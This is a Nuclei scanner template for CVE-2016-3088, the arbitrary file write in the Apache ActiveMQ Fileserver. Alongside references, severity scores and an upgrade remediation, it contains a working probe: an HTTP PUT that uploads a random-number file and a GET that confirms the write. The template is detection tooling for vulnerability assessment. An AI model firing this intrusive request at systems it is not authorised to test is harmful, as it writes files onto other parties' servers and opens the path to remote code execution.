nuclei-templates/http/cves/2016/CVE-2016-3088.yaml

53 lines
1.8 KiB
YAML

id: CVE-2016-3088
info:
name: Apache ActiveMQ Fileserver - Arbitrary File Write
author: fq_hsu
severity: critical
description: Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request via the Fileserver web application.
remediation: |
Upgrade to Apache ActiveMQ version 5.14.0 or later to fix the vulnerability.
reference:
- https://www.exploit-db.com/exploits/40857
- https://medium.com/@knownsec404team/analysis-of-apache-activemq-remote-code-execution-vulnerability-cve-2016-3088-575f80924f30
- http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
- https://nvd.nist.gov/vuln/detail/CVE-2016-3088
- http://rhn.redhat.com/errata/RHSA-2016-2036.html
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-3088
cwe-id: CWE-20
epss-score: 0.83955
epss-percentile: 0.98125
cpe: cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: activemq
tags: fileupload,kev,edb,cve,cve2016,apache,activemq,intrusive
variables:
rand1: '{{rand_int(11111111, 99999999)}}'
http:
- raw:
- |
PUT /fileserver/{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
{{rand1}}
- |
GET /fileserver/{{randstr}}.txt HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1==204"
- "status_code_2==200"
- "contains((body_2), '{{rand1}}')"
condition: and
# digest: 490a004630440220603cf3b86cb23238a73ea463a9765aa883396dccda40b8a5ce72d8dee5b48b39022047b0f89cda1af558de1c8dbf5a777e15e7e7080828cb9b5c2609c3ddae5f7c2b:922c64590222798bb761d5b6d8e72950